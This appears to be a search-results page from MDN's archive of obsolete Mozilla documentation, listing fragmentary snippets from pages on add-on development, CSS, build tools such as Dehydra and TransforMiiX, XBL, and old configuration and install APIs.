mmediately // (firefox 3 behaviour) } } else { // stylesheet service is not available (pre-firefox 1.5 behaviour) } ...
Add-ons - Archive of obsolete content
nd speed of your extension, but also of firefox itself. security best practices in extensions this document is intended as a guide for developers to promote best practices in securing your extension. your goal is to keep your users safe. some items mentioned are strict guidelines, meaning that if you don't follow them then your add-on will not be approved on mozilla add-ons. other items are reco
mmendations. the difference will be clearly flagged. setting up an extension development environment this article provides suggestions for how to set up your mozilla application for extension development. these details apply to firefox, thunderbird, and seamonkey (version 2.0 and above). tabbed browser here you should find a set of useful code snippets to help you work with firefox's tabbed brow...
...the difference will be clearly flagged. setting up an extension development environment this article provides suggestions for how to set up your mozilla application for extension development. these details apply to firefox, thunderbird, and seamonkey (version 2.0 and above). tabbed browser here you should find a set of useful code snippets to help you work with firefox's tabbed browser. the co
mments normally mark where you should be inserting your own code. techniques … ...
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
story? the visual design of wired news and the vignette templates were all sorely stale, and we had no significant effort invested into either for more than two years. i think that fact played a critical role in our team's willingness to try out something completely new. our engineering team actually needed the least convincing to convert over to a standards-based design, because they could also i
mmediately envision the benefits to their workload and maintenance of the site. how is the site styled now that you've ripped out all the html-based presentation? technically, there are 13 total stylesheets used at any one time. the breakdown: 1 master screen media file which imports 4 files: a base file (bulk of formatting) a file for finance/table formatting color file (override c...
...i'm having a tough time thinking of any advantages... what disadvantages did you encounter? honestly, there were several challenges and glitches we ran into along the way. first of all, since wired news is a heavily ad-supported site, our advertising units were the cause of several important decisions. our ad-serving partner basically requires that we use iframes to dynamically pull in ads fr...
XML data - Archive of obsolete content
stylesheet uses rules that map tags in the xml document to the display types used by html. example data in an xml document uses <info> tags. you want the document's info elements to be displayed like html paragraphs. in the document's stylesheet, you specify how info elements are to be displayed: info { display: block; margin: 1em 0; } the most co
mmon values for the display property are: block displayed like html's div (for headings, paragraphs) inline displayed like html's span (for emphasis within text) add your own style rules that specify the font, spacing and other details in the same way as for html. more details other values of display display the element like a list item, or like a component...
... as \b2 in the css file. the heading, "oceans", has a negative top margin, moving it up so it is displayed on top of the border. challenge change the stylesheet so that it displays the document as a table. (see the tables chapter in the css specification for examples that you can adapt.) what next? if you had difficulty understanding this page, or if you have other co
mments about it, please contribute to its discussion page. this is the last page of the tutorial. for more information about css in mozilla, see the main css page in this wiki. ...
Images, Tables, and Mysterious Gaps - Archive of obsolete content
old designs that are suddenly blowing apart in recent browsers. there's another obvious fix, which is to make sure your document doesn't trigger the "standards"rendering mode. you can do this by using a doctype that will trigger either "quirks" mode or "almost standards" mode, or not having a doctype appear in your document at all. the lack of a doctype will prevent validation, and so is not reco
mmended. for authors who are working with legacy documents, a "quirks" mode doctype is the best choice. in cases where an author is writing a new document or trying to migrate a design to be as standards-based as possible, then "almost standards" mode is probably a better choice. of course, documents authored in xhtml strict or html strict will trigger the "standards" rendering mode, so we're going...
...orting it could emulate traditional "shrinkwrap" behavior without risking other layout upset with the following rule: td {line-box-contain: font replaced;} /* proposed for css3 */ there are other possible fixes contained within the current css3 working drafts, such as line-height-policy. obviously, the sooner a solution can be found and implemented, the happier authors everywhere will be. reco
mmendations absent support for css3, it is difficult to provide a clear set of steps for fixing every instance of these problems, because the best solution for a given document will greatly depend on its structure. if your document uses transitional markup, make sure your doctype reflects that fact and does not trigger "standards" mode. this will prevent browsers from using standards-based renderin...
Autodial for Windows NT - Archive of obsolete content
ctions. since the service is the correct way to use autodial for these oss, the first part of the fix to this bug is to help users of the service. generally, if the service is running, and an address can't be reached, the autodial helper adds the address to the ras autodial address db. the next time this address is tried and can't be found, the autodial service will be triggered and dialup will co
mmence. many windows xp users, especially windows xp home users, don't understand that microsoft has changed how autodial works. to them it looks like mozilla is broken because windows doesn't try to dial when the feature is turned on in control panel | internet options | connections when they are using mozilla but it does when they are using internet explorer. "what's a system service" they might a...
... ...
Locked config settings - Archive of obsolete content
the encoding is a simple "byte-shifting" with an offset of 13 (netscape 4 used a similar encoding, but with a of 7 instead). ...
...al.config.filename", "mozilla.cfg"); note: newer versions of mozilla or firefox store the all.js file in greprefs rather than defaults\pref the moz-byteshift.pl script allows to encode...: moz-byteshift.pl -s 13 <mozilla.cfg.txt >mozilla.cfg ... and to decode mozilla.cfg files: moz-byteshift.pl -s -13 <mozilla.cfg >mozilla.cfg.txt example of an unencoded file: mozilla.cfg.txt. the lockpref co
mmand puts into place a locked preference, whereas the defaultpref co
mmand merely puts into a place a default value (which the user may override in his prefs.js file). note that the file must start with //, or else it is not recognized by mozilla. as the encoding of the file is pretty trivial, the encoding as such does not provide any real security. instead make sure that file protections make this ...
Protecting Mozilla's registry.dat file - Archive of obsolete content
crosoft subfolders from %userprofile%\application data, including mozilla's . in order to prevent this, it's preferable to have mozilla's registry.dat file copied over from the server using the logon script. moreover, it's advisable to "protect" the mozilla registry using attrib +r +s in case the logon script is finished before ie's "personnalized settings" have completed their dirty deed... ...
...tion data, including mozilla's . in order to prevent this, it's preferable to have mozilla's registry.dat file copied over from the server using the logon script. moreover, it's advisable to "protect" the mozilla registry using attrib +r +s in case the logon script is finished before ie's "personnalized settings" have completed their dirty deed... ...
Automatically Handle Failed Asserts in Debug Builds - Archive of obsolete content
in the string (left to right) to registry dword names from hklm\software\mozilla.org\windbgdlg and hkcu\software\mozilla.org\windbgdlg. at the first match, it will take the action specified by the dword's value. the valid values are: 0x5 automatically ignore 0x4 automatically retry 0x3 automatically abort note that you can also force windbgdlg to prompt, by setting a value of 0xfffffffe. to "co
mment out" a value, set its value to 0xffffffff. as an example, consider the following failed assertion: assertion: no document: 'mdocument != nsnull', file d:/cvs-1.11.4/mozilla/content/xul/content/src/nsxulelement.cpp, line 3173 (note that i have my source tree in d:/cvs-1.11.4/mozilla) if you have a dword in hkcu\software\mozilla.org\windbgdlg\ named "d:/cvs-1.11.5/mozilla/content/xul/content/src...
...to 0xffffffff. as an example, consider the following failed assertion: assertion: no document: 'mdocument != nsnull', file d:/cvs-1.11.4/mozilla/content/xul/content/src/nsxulelement.cpp, line 3173 (note that i have my source tree in d:/cvs-1.11.4/mozilla) if you have a dword in hkcu\software\mozilla.org\windbgdlg\ named "d:/cvs-1.11.5/mozilla/content/xul/content/src/nsxulelement.cpp," (with the co
mma - matches are whole-word only) and value 0x5, the assert would automatically be ignored. if you also had a dword named "3173", it would have no effect here because the handler stops comparing values at the first match. note that double quotes which delimit an item (") are ignored in value names and the assertion string, so "silly" and silly will both be matched by a value named silly. "silly", w...
Bonsai - Archive of obsolete content
bonsai is tree control it is a tool that lets you perform queries on the contents of a cvs archive; you can: get a list of checkins, see what checkins have been made by a given person, or on a given cvs branch, or in a particular time period. it also includes tools for looking at checkin logs (and co
mments); doing diffs between various versions of a file; and finding out which person is responsible for changing a particular line of code ("cvsblame"). start at the main bonsai query page or seamonkey tree control page here are some example queries that will give you a taste of what bonsai is capable of: today's checkins to the mozilla source mainline. checkins to any branch of xfe by ramiro between 26-feb-1998 and 12-may-1998 differences between revisions 3.1 and 3.3 of the ...
...h bonsai. bonsai source code the source code to the bonsai tool itself is also available, check out the information available at the bonsai project page. original document information author(s): jamie zawinski last updated date: september 8, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
Bookmark Keywords - Archive of obsolete content
ers to useful resources, bookmarks in mozilla can be used to make the address bar itself a power tool. searches, lookups, package tracking, and even word definitions can all be retrieved from user-customized bookmarks. the key to this ability, if you'll pardon the pun, is the ability to add a keyword to any mozilla bookmark. under ordinary circumstances, this might be used to reduce typing of a co
mmon url: http://www.cnn.com/ could be given the keyword cnn. once that's done, all it takes to go to the cnn home page would be to type <tt>cnn</tt> into the address bar. mozilla will automatically expand the keyword to the corresponding bookmarked url, and load up the site. that's pretty interesting on its own, but mozilla takes it a step further by allowing the user to define an "entry point" for...
...rk work is a simple matter of going into the bookmark manager and adding a keyword! bookmark suggested keywords find bugzilla entry bug, bugzilla, bz search devmo devmo, de google search google, gg dictionary search dictionary, dict, define, word thesaurus search thesaurus, like fedex tracking fedex ups tracking ups of course, these are just a beginning. any web site that you co
mmonly search is a candidate for its own keymark. acknowledgements thanks to asa dotzler and his article how cool are custom keywords?, which provided the inspiration to write this article. original document information author(s): eric a. meyer, netscape co
mmunications last updated date: published 15 mar 2002 copyright information: copyright © 2001-2003 netscape. all rights reserved. not...
Building TransforMiiX standalone - Archive of obsolete content
ll the necessary subtree with mozilla/client.mk mozilla/build/unix/modules.mk mozilla/build mozilla/config mozilla/expat mozilla/extensions/transformiix mozilla/include mozilla/allmakefiles.sh mozilla/client.mk mozilla/aclocal.m4 mozilla/configure mozilla/configure.in mozilla/makefile.in plus nspr and xpcom from the cvs repository. building from a full mozilla tree is not supported. it is reco
mmended to add ac_add_options --disable-gtktest ac_add_options --without-jpeg ac_add_options --without-zlib ac_add_options --without-png ac_add_options --without-x to your .mozconfig, too, as it stops configure from testing unneeded libs. make -f client.mk build as usual. of course, make -f client.mk checks out and builds just transformiix alright. the binary transformiix(.exe) will be in...
...(.exe) will be in extensions/transformiix/source and dist/bin/ (symbolic link). run it via run-mozilla.sh transformiix on unices and just transformiix.exe on windows. original document information author: axel hecht last updated date: april 5, 2004 copyright information: portions of this content are © 1998–2006 by individual mozilla.org contributors; content available under a creative co
mmons license ...
Structure of an installable bundle - Archive of obsolete content
basic structure of a bundle a bundle may include any of the following files: path from the root of the bundle description version information /install.rdf extension/theme install manifest /application.ini application launch manifest /bootstrap.js the bootstrap script for extensions not requiring a restart (those with <em:bootstrap>true</em:bootstrap> in their install.rdf). note that other files and directories (e.g. ...
...e/mytheme-win.jar the app/extension loader processes the base directory first, followed by the applicable platform directories (first /{os_target}/, then /{os_target}_{target_xpcom_abi}/). when default preferences are defined in several directories, the ones loaded later overwrite the earlier ones. ...
Making a Mozilla installation modifiable - Archive of obsolete content
tracted files instead of the original jar archives. the archives are stored within the chrome subdirectory of the mozilla installation directory. use your unzip utility to extract all files in that directory with a .jar extension. make sure you extract them into the same (chrome) directory in which they are located. on unix-like operating systems with bash-like shells, you can run the following co
mmand within that directory to accomplish this task: for file in *.jar; do unzip $file; done on operating systems with dos-like shells, the following co
mmand accomplishes this task: for %file in (*.jar); do unzip %file note that there are platform-specific files — en-mac.jar, en-unix.jar, and en-win.jar — in that directory. extract only the one appropriate for your platform. after extracting t...
... of complicated configuration statements in which you will find a number of urls of the form jar:resource:/chrome/something.jar!/something-else... which point to directories within the jar archives. change them so they point to the extracted files by removing the leading jar: and the part in the middle that says something.jar!. if you have perl on your system, you can do this with the following co
mmand: perl -pi.orig -e 's/(jar:)|(\/[^.\/]+\.jar!)//g' chrome.rdf installed-chrome.txt for example, to convert the url jar:resource:/chrome/co
mm.jar!/content/necko/, change it to resource:/chrome/content/necko/. after you make these changes, try starting the copy of mozilla you have modified. make sure you start the modified copy and not the default installation on your machine, and shut down "qui...
contents.rdf - Archive of obsolete content
state that we work only with major ...
...myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:navigator"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information. state that we work only with major version 1 of this package. ...
DTrace - Archive of obsolete content
tools, so this documentation has been archived. if you find that there are still use cases of consequence, you're welcome to file a documentation bug. the dtrace probes currently built into the codebase may be enabled by default in the future, but for now you'll need to create a build with --enable-dtrace (on mac os x you also have to use at least the 10.5 sdk for --with-macos-sdk, unlike the co
mmon configuration that uses the 10.4 sdk). trunk nightly builds with shark support (*-mac-shark.dmg here) are built with --enable-dtrace. documentation writing scripts a general introduction to writing d scripts and using the built-in mozilla probes. optimizing javascript with dtrace a guide on profiling javascript code using dtrace. adding probes ...
... optimizing javascript with dtrace a guide on profiling javascript code using dtrace. adding probes a guide on creating probes and the build system magic needed to add probes to your code. ...
Installing Dehydra - Archive of obsolete content
prerequisites mercurial 1.0 is needed to access source repositories. make sure that the mq extension is enabled. spidermonkey provides scripting capabilities for dehydra. gcc 4.5, with the package gcc-4.5-plugin-dev installed. (alternately, build from source) a modern linux distribution. dehydra is not supported on mac os x. building spidermonkey it is reco
mmended that you use spidermonkey revision aurora_base_20110705 when building dehydra. cd $home hg clone http://hg.mozilla.org/mozilla-central/ cd mozilla-central hg update aurora_base_20110705 cd js/src autoconf-2.13 mkdir $home/obj-js cd $home/obj-js $home/mozilla-central/js/src/configure --enable-optimize --disable-debug make it has to be checked whether later/newer branches (like aurora_base_20120131) are working, to...
...decl.diff cd gcc-4.5.3 patch -p0 < ../finish_decl.diff # build gcc cd .. mkdir gcc-objdir mkdir gcc-dist cd gcc-objdir ../gcc-4.5.3/configure --disable-bootstrap --enable-languages=c,c++ --prefix=$pwd/../gcc-dist make make install building dehydra and treehydra building dehydra requires spidermonkey development headers from the previous step. cxx should point to your copy of gcc 4.5. it is reco
mmended to get the latest dehydra sources by checking out from mercurial. (obsolete dehydra releases can be found on the mozilla ftp site.) hg clone http://hg.mozilla.org/rewriting-and-analysis/dehydra/ cd dehydra export cxx=/usr/bin/g++ ./configure \ --js-headers=$home/obj-js/dist/include \ --js-libs=$home/obj-js make # run dehydra and treehydra tests make check usage dehydra checking can b...
Dehydra Object Reference - Archive of obsolete content
a understanding properties dehydra only sets properties that are applicable. for example, class types and typedefs are declared and will have a .loc property. intrinsic types such as "int" are not declared and will not have a .loc. dehydra only sets boolean flags when they are true. for example, a pointer type will have .ispointer == true, but a class type will not have an .ispointer property. co
mmon properties property type description .loc location object source location of a type or declaration. .attributes array of objects attributes of the type or declaration. each member of the array has the following properties: { name: string, value: string or number, if applicable } see an example on enforcing final classes. code can be annotated with arbitrary user attributes: __a...
...escription .isvirtual true or "pure" true for virtual methods, or "pure" for pure virtuals (e.g. virtual void foo() = 0;). .isconstructor boolean flag constructors generally have a .fieldof attribute (see variable objects). .isfunction boolean flag true for function variables. type objects dehydra provides detailed type objects. dehydra type objects use the dehydratype() prototype. co
mmon type properties property type description .name string if applicable, the name of of the type. for typedefs and classes, this is the declared name. for built-in types this is the standard name such as "int". some types such as bitfields may not have names. .typedef type object if this is a typedef, the original type. .isconst boolean flag .isvolatile boolean flag .vari...
Using Dehydra - Archive of obsolete content
eference and the object reference. ...
...on isfinal(c) { if (!c.attributes) return false; for each (let a in c.attributes) if (a.name == 'user' && a.value == 'final') return true; return false; } function process_type(t) { if (t.bases) for each (let base in t.bases) if (isfinal(base.type)) error("class " + t.name + " extends final class " + base.type.name, t.loc); } compile using the following co
mmand: $ g++ -fplugin=~/dehydra/gcc_dehydra.so -fplugin-arg=~/final.js -o/dev/null -c final.cc it should print the following results and return with an error code: final.cc:8: error: class subclass extends final class myclass see documentation for: process_type, error, .bases property, .attributes property ...
Building Firefox with Rust code - Archive of obsolete content
this article is obsolete. please instead refer to the documentation found within the modern firefox build system documentation; specifically, the section called including rust code in firefox. firefox uses the rust progra
mming language extensively. this page is a rough guide for people using rust in firefox. see also the documentation on this topic on the oxidation wiki page. adding rust code we generally target stable rust, but sometimes issues temporarily require a beta or custom toolchain build. our goal is to always ship a firefox release build with a stable rust toolchain release. if you don't have rust already, use the rustup tool to install it and update as new releases become available, or use the ./mach bootstrap co
mmand. the build system will generate a special 'rust unifi...
...ary/rust/shared/cargo.toml: [dependencies] e10s = { path = "../../../../path/from/srcdir/e10s" } the e10s crate must also be checked into the tree at the appropriate path. if the e10s crate depends on any other crates, their sources must also be checked into the tree, and e10s's cargo.toml must have path attributes for each of its dependencies, and so on. this is automated by the mach vendor co
mmand, which installs the dependencies in third_party/rust. be sure the licenses of all dependent crates are compatible. cargo.lock files have also been checked in, so you will need to update those as well when appropriate. crates for unit tests can be added in a similar fashion to the files in toolkit/library/gtest/rust/. if your crate has optional features that aren't normally turned on, ...
Layout System Overview - Archive of obsolete content
web. as the user types a new character it is inserted into the content model. this causes layout to be notified that a new piece of content has been entered, which causes layout to create a new frame and format it. this must happen very fast, so the user's typing is not delayed. in the case of the wysiwyg html editor, the user expects that the modifications they make to the document will appear i
mmediately, not seconds later. this is especially critical when the user is typing into the document: it would be quite unusable if typing a character at the end of a document in the html editor caused the entire document to be reformatted - it would be too slow, at least on low-end machines. thus the html editor and text controls put considerable performance requirements on the layout system's hand...
...ul elements, which utilize a constraint-based layout language. the box is introduced into the layout system's frame model via an adapter (boxtoblockadapter) that translates the normal layout model into the box formatting model. conceptually, this could be used to introduce other layout systems, but it might be worth noting that there was no specific facility designed into the layout system to acco
mmodate this. layout deals with frames, but as long as the layout system being considered has no need to influence presentational elements from other layout systems, it can be adapted using a frame-based adapter, ala xul. core classes at the highest level, the layout system is a group of classes that manages the presentation within a fixed width and either unlimited height (galley presentation) or d...
Style System Overview - Archive of obsolete content
solving functions will walk the rule processors in stylesetimpl::filerules, find the correct rule node, and find a current child of the parent (“sibling sharing”) or create a new child. style context doesn't hold pointer to content, just rule node. dynamic changes to content framemanager::reresolvestylecontext destroys and recreates style contexts for existing frames (rule node pointer i
mmutable). reresolvestylecontext is messy because it needs to create and parent style contexts correctly (sibling sharing may not be the same) rather than just changing data. [design flaw, again] any specially-parented style contexts (not along frame parents, which need not be content parents) are reconstructed using nsiframe::getparentstylecontextframe. can return same style context due to sibli...
...ing it. lots of room for optimization here. (but beware didsetstylecontext) the style system style sheets & rules ↓ rule tree ↓ style context interface original document information author(s): david baron last updated date: june 6, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
Firefox Sync - Archive of obsolete content
d components and services which provide synchronization of data between mozilla application instances. these components and services include: firefox sync client the sync client bundled with mozilla products. it exists as a core javascript module providing generic functionality and ui components for each product. server a server implementation of the sync http protocol. clients co
mmunicate through it. firefox home an ios application that functions as a sync client. mozilla server instance an instance of the server deployed and maintained by mozilla. if you use sync in your browser, this is what it talks to by default. specifications there are numerous specifications concerning sync. these include: an http api for client-server interaction storage formats ...
.... ...
HTTP Class Overview - Archive of obsolete content
identifies a connection nshttptransaction implements nsirequest encapsulates a http request and response parses incoming data nshttpchunkeddecoder owned by a transaction strips chunked transfer encoding nshttprequesthead owns a nshttpheaderarray knows how to fill a request buffer nshttpresponsehead owns a nshttpheaderarray knows how to parse response lines performs co
mmon header manipulations/calculations nshttpheaderarray stores http "<header>:<value>" pairs nshttpauthcache stores authentication credentials for http auth domains nshttpbasicauth implements nsihttpauthenticator generates basic auth credentials from user:pass nshttpdigestauth implements nsihttpauthenticator generates digest auth credentials from user:pass original document...
... ...
Helper Apps (and a bit of Save As) - Archive of obsolete content
nsilocalfilemac. unix: launch directly via nsiprocess. security considerations multiple checks for whether a file is executable (on windows) to keep from launching such files via ::shellexecute(). checks happen in onstartrequest, in the helper app dialog, and as a last ditch in the launching code. limitations of nsimimeinfo no way to say "do whatever the os default is." no support for co
mmand-line arguments. no support for multiple co
mmands connected by pipes (mostly useful on unix). ongoing work support synchronous dialogs, not just asynchronous ones (fixes many issues related to pre-downloading, content-decoding, etc). reworking the nsimimeservice api to improve the quality of the mimeinfo we get. reworking the helper app dialog to save user choices better. gnome integrat...
... ...
Hidden prefs - Archive of obsolete content
t","?(or(primaryemail,c,@v)(displayname,c,@v)(firstname,c,@v)(lastname,c,@v))"); "and", "or" and "not" are valid. see http://lxr.mozilla.org/mozilla/sourc...drdatabase.idl for the list of valid attributes "c" == contains. see nsabquerystringtoexpression::createbooleanconditionstring() for other operators. mail composition "other header" pref ("mail.compose.other.header") the format for this a co
mma delimited list of mail headers, like "approved,x-no-archive" an example for your prefs.js would be: user_pref("mail.compose.other.header", "approved"); this will cause "approved" to show up in the compose window address picker, under to:, cc:, bcc:, newsgroup:, etc. for example: when that mail gets sent, approved: test@test.com will be in the message in the headers. this is a useful tr...
...se the personal addressbook for collection pref("mail.collect_addressbook","moz-abmdbdirectory://abook.mab"); for the reasons why the defaults changed, see this document on the collected address book. ...
popChallengeResponse - Archive of obsolete content
at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won't work in firefox 34 or later. use <keygen> or the future web crypto api instead. resultstring = crypto.popchallengeresponse("challengestring"); argument description "challengestring" a base-64 encoded c
mmf popodeckeychallcontent message. the current implementation does not conform to that defined in the c
mmf draft, and we intend to change this implementation to that defined in the cmc rfc.. see below for the current implementation. the resultstring will either be a base-64 encoded popodeckeyrespcontent message, or one of the following error strings: error string description ...
...f challenge -- one challenge per encryption key certification request (in the -- same order as these requests appear in fullcerttemplates). challenge ::= sequence { owf algorithmidentifier optional, -- must be present in the first challenge; may be omitted in any -- subsequent challenge in popodeckeychallcontent (if omitted, -- then the owf used in the i
mmediately preceding challenge is -- to be used). witness octet string, -- the result of applying the one-way function (owf) to a -- randomly-generated integer, a. [note that a different -- integer must be used for each challenge.] sender generalname, -- the name of the sender. key octet string, -- the public key ...
Jetpack - Archive of obsolete content
jetpack jetpack is a project to make it easy to build firefox add-ons using co
mmon web technologies. ...
... jetpack jetpack is a project to make it easy to build firefox add-ons using co
mmon web technologies. ...
Plug-n-Hack - Archive of obsolete content
configuring a browser to work with a security tool can be a non-trivial process, and this can discourage people with less experience from using such tools. ...
...ve that opening up such capabilities to all browsers and all security tools is much more useful for security researchers and application developers and testers. as a result we have designed and developed the pnh protocol to be both browser and tool independent. the current protocol and firefox implementation are released under the mozilla public license 2.0 which means it can be incorporated in co
mmercial tools without charge. plug-n-hack topics phase 1 this provides simplified integration and allows tools to advertize their capabilities to browsers phase 2 this will allow browsers to advertize their capabilities to security tools tools supporting pnh the browsers and tools known to support or be working on support for pnh get involved ...
Configuration - Archive of obsolete content
ory navigation (alt+left, alt+right and alt+home) on or off for this web app: yes or no splashscreen filename of an html page to be displayed while the app is loading. the file must be located in the web app home directory: splashscreen.html include uris that should be opened in the web app, rather than in the default browser. an asterisk is used to match any string. separate multiple uris with co
mmas: *google.com, *yahoo.com exclude urls that should be opened in the default browser, rather than in the web app. syntax is the same as for include. trayicon indicates that a system tray (notification area) icon should be displayed for the application on windows: yes or no. iconic specifies that the application should be opened in iconic state. currently support only on windows in conjunction wit...
...ses the application to open minimized to the system tray: yes or no. launch prism with -webapp [bundle] to load the specified web profile and install the webapp to your prism profile folder. once the webapp is installed, it can be launched using -webapp [webapp-id] and prism will skip the installation and run the webapp directly. any of the profile parameters can also be passed directly on the co
mmand line as well. example here is an example of a webapp.ini profile: [parameters] name=gmail id=google.mail@developer.mozilla.org uri=https://mail.google.com icon=gmail status=yes location=no sidebar=no navigation=no ...
Rsyncing the CVS Repository - Archive of obsolete content
z --delete --stats cvs-mirror.mozilla.org::mozilla ~/cvs-mirror this will mirror the cvs repository into ~/cvs-mirror. ...
...-mirror. optionally, the --progress option will show the progress for each file, and a percentage of the total files that are transferred. ...
Standalone XPCOM - Archive of obsolete content
tory to run the test, cd to your bin/ directory setenv ld_library_path . ./nstestsample warning: mozilla_five_home not set. nsnativecomponentloader: autoregistering begins. nsnativecomponentloader: autoregistering succeeded inital print: initial value set value to: xpcom defies gravity final print : xpcom defies gravity test passed. test failed: what went wrong? the most co
mmon case of why the sample would have failed if you didn't run it from the bin directory. here are some error messsages and possible ways of fixing them. ./nstestsample: error in loading shared libraries: libxpcom.so: cannot open shared object file: no such file or directory ld_library_path not set. to fix, setenv ld_library_path . (note the dot). link errors when building xpcom standalone th...
...ll cause reduction in memory requirements and size. get xpcom/tests directory upto date and documented. update this document for mac. api freeze and documentation original document information author: suresh duddi last updated date: 15 may 2000 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
Abc Assembler Tests - Archive of obsolete content
it is possible to write tests using the abc assembler. the assembler code can be found in /utils/abcasm. tests can be found in /test/acceptance/abcasm and end with the .abs extension. the tests are run using the same runtests.py script that is used for the actionscript tests. ...
...e assembler code can be found in /utils/abcasm. tests can be found in /test/acceptance/abcasm and end with the .abs extension. the tests are run using the same runtests.py script that is used for the actionscript tests. ...
Actionscript Acceptance Tests - Archive of obsolete content
the acceptance test template can be found here. testing versioned bug fixes when testing versioned bug fixes (using avmplus.system.swfversion) there are a couple of requirements: you must use system.swfversion when looking up the swfversion. ...
...ne them in a sub-dir with the same name as the test. you must create a testname.as.avm_args file with the uses_swfversion directive. support files: there are a variety of support files available for non-standard actionscript tests. testname.as.asc_args this file specifies additional arguments to pass to asc when compiling the test: # asc args for file # two modes are available: # override| all co
mmand line arguments (except builtin.py) are ignored and replaced by these # merge| merge these args in with the current args # specifiy an arg that starts with -no will disable the arg... eg: -no-optimize merge| -as3 a dir.asc_args file can also be created with the same contents that will apply to the entire directory. testname.as.asc_args files will take precedence over the dir.asc_args file. t...
Cmdline tests - Archive of obsolete content
see test/cmdline/readme document for more information. ...
...nnext\ninfo locals\nnext\ninfo locals\nquit\n', expectedout=['local1 = undefined','local2 = 10','local2 = 15'] ) use case 2: test -memstats returns memory logs to stdout test contents: start avmshell -memstats test.abc, assert stdout contains 'gross stats', 'sweep m reclaimed n pages.' from cmdutils import * def run(): r=runtestlib() r.run_test(name='memstats', co
mmand="%s -memstats testdata/memstats.abc" % r.avm, expectedout=[ 'gross stats', 'managed fragmentation', 'gross stats end', 'sweep\\([0-9]+\\) reclaimed [0-9]+ whole pages' ] ...
The life of an HTML HTTP request - Archive of obsolete content
warning: the content of this article may be out of date. it was last updated in 1999. (1) the loading of the url is started in nswebshell::doloadurl (called from some loadurl or loaduri variant in the webshell). the webshell then tells its documentloader to load (co
mmand "view") the specified url. [note: passes nswebshell.mobserver as nsistreamobserver and the webshell as nsicontentviewercontainer to the docloader.] (2) the document loader calls ns_openuri with the url to begin transfering the requested file. necko (the network library) checks the url scheme (the first part of the url, http: in this case) and locates the correct nsiprotocolhandler (in this case nshttphandler) and asks it for a nsichannel (nshttpchannel). the channel represents the connection to the server, ...
... ...
Binding Attachment and Detachment - Archive of obsolete content
methods document.addbinding and document.removebinding; these were subsequently discarded as redundant and not implemented. var checkbox = document.getelementbyid("mycheckbox"); checkbox.style.mozbinding = "url(http://www.mozilla.org/xbl/htmlbindings.xml#checkbox)"; this attachment is not necessarily synchronous. scripts that invoke this method should not assume that the binding is installed i
mmediately after this method returns. see binding documents for more information. when a binding is attached using the dom, it inherits from the current most derived binding that may already be attached to the element. any bindings attached to an element will remain on the element until the element is destroyed or the corresponding style rule is removed. if a binding is attached and it already spe...
...ain is: d1->d2 ->d3 ->t when bindings are detached using element.style.mozbinding, any base bindings that were attached through the extends attribute on the binding will also be removed. in other words, a removal of element.style.mozbinding will remove the same group of bindings that were installed via the original call to element.style.mozbinding = "url(...)". the rule for detachment can be su
mmarized as follows. whenever a binding is detached, all bindings that it explicitly inherits from are also detached. binding documents whenever a binding is attached to an element in another document, the binding document is only fetched if no binding from the binding document has been used before in the bound document. a given bound document has a unique copy of each separate binding document th...
Example Sticky Notes - Archive of obsolete content
all rights are given to the world. view this example <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html401/strict.dtd"> <html> <head> <title>xbl demo : sticky notes</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body { background-color: #ffffff; color: #000000; font: 1em verdana, sans-serif; } h1 { font-size: 1.5em; } /* binding: */ .sticker { -moz-binding: url(notes.xml#default); } </style> </head> <body> <h1><a href="http://developer.mozilla.org/en/docs/xbl:xbl_1.0_reference">xbl</a> demo : sticky notes</h1> <div class="sticker"><p>acme, inc. ...
...this way you protect yourselve from < and > signs breaking your xml layout. it also speeds up the parsing as the engine doesn't go through cdata sections but simply skip on them. --> <constructor><![cdata[ /** * the code below will be called one time only after * the binding is successfully prepared and bound. * "this" in this context refers to the bound element. */ // your code...
XBL - Archive of obsolete content
ude a subset of xbl 2.0 features needed for svg. it's similar in spirit to mozilla's xbl, but there are a few subtle (and not-so-subtle) differences. for example, names of the elements are different. also sxbl lacks some features of xbl, such as bindings inheritance and defining methods/properties on bound elements. xbl 2.0 (w3c candidate reco
mmendation) was developed to address problems found in xbl 1.0 and to allow for implementations in a broader range of web browsers. in 2009 mozilla announced plans to implement xbl2 in future versions of gecko. some differences between sxbl and xbl2 are listed in an article by anne van ke ( seesteren (november, 2005). ...
...oduction to xbl from the xul tutorial. custom xul elements with xbl from the xul school tutorial for add-on developers xbl chapter of "rapid application development with mozilla" xbl 2.0 primer (draft) xbl 2.0 cross-browser implementation in javascript more xbl resources... co
mmunity view mozilla forums... mailing list newsgroup rss feed ...
confirm - Archive of obsolete content
andard 'yes' and 'no' buttons. warning: do not make any assumptions on the button placement - the underlying implementation can freely decide where each of the three buttons is placed. the following examples show the result of calling confirm() with three buttons 0='a', 1='b' and 2='c'. firefox on linux mozilla application suite on win32 it is therefore reco
mmended to only use two buttons wherever possible, and to keep in mind that button 1 has the same return value as "window closed" (see below). abutton0title custom title for button 0. abutton1title custom title for button 1. abutton2title custom title for button 2. acheckmsg a string to display as a checkbox label. acheckstate ...
... third button previous versions of the xpinstall api stated the return value of confirm() to be a boolean. that is incorrect, confirm() always returned a plain integer (in pre-gecko-1.8 versions either 0 or 1). notes the preferred method for detecting support for custom dialog boxes is querying the existence of the button constants. other approaches (e.g. buildid comparisons) are not reco
mmended. if ("button_pos_0" in install) { // use extended confirm() method } else { // use classic confirm() method } ...
enumKeys - Archive of obsolete content
sed to iterate through the subkeys at a given key location. the following example shows how to use enumkeys to find the plugins subdirectory below the various mozilla-based browser installations. ...
... var winreg = getwinregistry(); winreg.setrootkey(winreg.hkey_local_machine); var index = 0; var basekey = "software\\mozilla"; while ( (mozillaversion = winreg.enumkeys(basekey,index)) != null ) { logco
mment("mozillaversion = " + mozillaversion); subkey = basekey + "\\" + mozillaversion + "\\extensions"; pluginsdir = winreg.getvaluestring ( subkey, "plugins" ); if ( pluginsdir ) logco
mment("pluginsdir = " + pluginsdir); else logco
